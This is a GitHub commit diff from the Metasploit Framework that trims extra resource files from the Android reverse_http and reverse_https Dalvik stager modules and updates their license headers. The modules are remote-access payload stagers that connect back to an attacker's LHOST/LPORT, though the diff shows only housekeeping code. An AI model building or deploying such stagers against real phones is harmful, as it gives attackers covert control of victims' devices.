Skip to content

Commit 15b1a59

Browse files
committed
Remove extra resources from android reverse_http(s).
1 parent 5c21685 commit 15b1a59

File tree

2 files changed

+9
-20
lines changed

2 files changed

+9
-20
lines changed

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
##
2-
# This file is part of the Metasploit Framework and may be subject to
3-
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
64
##
75

86
require 'msf/core'
@@ -29,8 +27,8 @@ def initialize(info = {})
2927
[
3028
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
3129
], self.class)
32-
end
33-
30+
end
31+
3432
def generate_jar(opts={})
3533
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
3634
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
@@ -45,8 +43,6 @@ def generate_jar(opts={})
4543

4644
files = [
4745
[ "AndroidManifest.xml" ],
48-
[ "res", "drawable-mdpi", "icon.png" ],
49-
[ "res", "layout", "main.xml" ],
5046
[ "resources.arsc" ]
5147
]
5248

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 5 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,7 @@
11
##
2-
# This file is part of the Metasploit Framework and may be subject to
3-
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
64
##
7-
#
85

96
require 'msf/core'
107
require 'msf/core/handler/reverse_https'
@@ -18,21 +15,20 @@ def initialize(info = {})
1815
super(merge_info(info,
1916
'Name' => 'Dalvik Reverse HTTPS Stager',
2017
'Description' => 'Tunnel communication over HTTPS',
21-
'Author' => 'anwarelmakrahy',
18+
'Author' => 'anwarelmakrahy',
2219
'License' => MSF_LICENSE,
2320
'Platform' => 'android',
2421
'Arch' => ARCH_DALVIK,
2522
'Handler' => Msf::Handler::ReverseHttps,
2623
'Stager' => {'Payload' => ""}
27-
))
24+
))
2825

2926
register_options(
3027
[
3128
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
3229
], self.class)
33-
3430
end
35-
31+
3632
def generate_jar(opts={})
3733
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
3834
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
@@ -47,8 +43,6 @@ def generate_jar(opts={})
4743

4844
files = [
4945
[ "AndroidManifest.xml" ],
50-
[ "res", "drawable-mdpi", "icon.png" ],
51-
[ "res", "layout", "main.xml" ],
5246
[ "resources.arsc" ]
5347
]
5448

@@ -60,5 +54,4 @@ def generate_jar(opts={})
6054

6155
jar
6256
end
63-
6457
end

0 commit comments

Comments
 (0)